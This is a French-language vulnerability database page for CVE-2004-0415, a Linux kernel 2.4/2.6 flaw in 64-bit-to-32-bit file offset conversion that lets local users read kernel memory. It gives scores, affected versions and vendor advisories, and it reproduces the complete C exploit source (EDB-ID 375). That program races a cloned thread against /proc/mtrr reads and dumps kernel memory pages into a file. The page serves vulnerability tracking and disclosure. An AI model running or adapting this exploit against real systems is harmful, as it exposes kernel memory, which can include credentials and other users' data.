CVE-2004-0415 : Détail

CVE-2004-0415

0.19%V4
Local
2004-08-05
02h00 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Linux kernel does not properly convert 64-bit file offset pointers to 32 bits, which allows local users to access portions of kernel memory.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 375

Date de publication : 2004-08-03 22h00 +00:00
Auteur : Paul Starzetz
EDB Vérifié : Yes

/* * CAN-2004-0415 / gcc -O3 proc_kmem_dump.c -o proc_kmem_dump * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <time.h> #include <sched.h> #include <sys/socket.h> #include <sys/select.h> #include <sys/time.h> #include <sys/mman.h> #include <linux/unistd.h> #include <asm/page.h> // define machine mem size in MB #define MEMSIZE 64 _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, uint, wh); void fatal(const char *msg) { printf("\n"); if(!errno) { fprintf(stderr, "FATAL ERROR: %s\n", msg); } else { perror(msg); } printf("\n"); fflush(stdout); fflush(stderr); exit(31337); } static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE, size=PAGE_SIZE, us; static volatile int go[2]; static loff_t off; static char *buf=NULL, *file, child_stack[PAGE_SIZE]; static struct timeval tv1, tv2; static struct stat st; // child close sempahore & sleep int start_child(void *arg) { // unlock parent & close semaphore go[0]=0; madvise(file, csize, MADV_DONTNEED); madvise(file, csize, MADV_SEQUENTIAL); gettimeofday(&tv1, NULL); read(pfd, buf, 0); go[0]=1; r = madvise(file, csize, MADV_WILLNEED); if(r) fatal("madvise"); // parent blocked on mmap_sem? GOOD! if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)<0 ) { r = _llseek(pfd, 0x7fffffff, 0xffffffff, &off, SEEK_SET); if( r == -1 ) fatal("lseek"); printf("\n[+] Race won!"); fflush(stdout); go[0]=2; } else { printf("\n[-] Race lost %d, use another file!\n", go[1]); fflush(stdout); kill(getppid(), SIGTERM); } _exit(1); return 0; } void usage(char *name) { printf("\nUSAGE: %s <file not in cache>", name); printf("\n\n"); exit(1); } int main(int ac, char **av) { if(ac<2) usage(av[0]); // mmap big file not in cache r=stat(av[1], &st); if(r) fatal("stat file"); csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1); fd=open(av[1], O_RDONLY); if(fd<0) fatal("open file"); file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0); if(file==MAP_FAILED) fatal("mmap"); close(fd); printf("\n[+] mmaped uncached file at %p - %p", file, file+csize); fflush(stdout); pfd=open("/proc/mtrr", O_RDONLY); if(pfd<0) fatal("open"); fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644); if(fd<0) fatal("open data"); r=ftruncate(fd, fsize); if(r<0) fatal("ftruncate"); buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if(buf==MAP_FAILED) fatal("mmap"); close(fd); printf("\n[+] mmaped kernel data file at %p", buf); fflush(stdout); // clone thread wait for child sleep nc = nice(0); cpid=clone(&start_child, child_stack + sizeof(child_stack)-4, CLONE_FILES|CLONE_VM, NULL); nice(19-nc); while(go[0]==0) { i++; } // try to read & sleep & move fpos to be negative gettimeofday(&tv1, NULL); go[1] = 1; r = read(pfd, buf, size ); go[1] = 2; gettimeofday(&tv2, NULL); if(r<0) fatal("read"); while(go[0]!=2) { i++; } us = tv2.tv_sec - tv1.tv_sec; us *= 1000000; us += (tv2.tv_usec - tv1.tv_usec) ; printf("\n[+] READ %d bytes in %d usec", r, us); fflush(stdout); r = _llseek(pfd, 0, 0, &off, SEEK_CUR); if(r < 0 ) { printf("\n[+] SUCCESS, lseek fails, reading kernel mem...\n"); fflush(stdout); i=0; for(;;) { r = read(pfd, buf, PAGE_SIZE ); if(r!=PAGE_SIZE) break; buf += PAGE_SIZE; i++; printf("\r PAGE %6d", i); fflush(stdout); } printf("\n[+] done, err=%s", strerror(errno) ); fflush(stdout); } close(pfd); printf("\n"); sleep(1); kill(cpid, 9); return 0; } // milw0rm.com [2004-08-04]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.1

Linux>>Linux_kernel >> Version 2.4.2

Linux>>Linux_kernel >> Version 2.4.3

Linux>>Linux_kernel >> Version 2.4.4

Linux>>Linux_kernel >> Version 2.4.5

Linux>>Linux_kernel >> Version 2.4.6

Linux>>Linux_kernel >> Version 2.4.7

Linux>>Linux_kernel >> Version 2.4.8

Linux>>Linux_kernel >> Version 2.4.9

Linux>>Linux_kernel >> Version 2.4.10

Linux>>Linux_kernel >> Version 2.4.11

Linux>>Linux_kernel >> Version 2.4.12

Linux>>Linux_kernel >> Version 2.4.13

Linux>>Linux_kernel >> Version 2.4.14

Linux>>Linux_kernel >> Version 2.4.15

Linux>>Linux_kernel >> Version 2.4.16

Linux>>Linux_kernel >> Version 2.4.17

Linux>>Linux_kernel >> Version 2.4.18

Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.20

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.22

    Linux>>Linux_kernel >> Version 2.4.23

    Linux>>Linux_kernel >> Version 2.4.23

    Linux>>Linux_kernel >> Version 2.4.23_ow2

      Linux>>Linux_kernel >> Version 2.4.24

      Linux>>Linux_kernel >> Version 2.4.24_ow1

        Linux>>Linux_kernel >> Version 2.4.25

        Linux>>Linux_kernel >> Version 2.4.26

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.2

        Linux>>Linux_kernel >> Version 2.6.3

        Linux>>Linux_kernel >> Version 2.6.4

        Linux>>Linux_kernel >> Version 2.6.5

        Linux>>Linux_kernel >> Version 2.6.6

        Linux>>Linux_kernel >> Version 2.6.6

        Linux>>Linux_kernel >> Version 2.6.7

        Linux>>Linux_kernel >> Version 2.6.7

        Linux>>Linux_kernel >> Version 2.6_test9_cvs

          Redhat>>Fedora_core >> Version core_1.0

            Trustix>>Secure_linux >> Version 2.0

            Trustix>>Secure_linux >> Version 2.1

            Références

            http://www.redhat.com/support/errata/RHSA-2004-413.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://www.redhat.com/support/errata/RHSA-2004-418.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://www.gentoo.org/security/en/glsa/glsa-200408-24.xml
            Tags : vendor-advisory, x_refsource_GENTOO
            http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000879
            Tags : vendor-advisory, x_refsource_CONECTIVA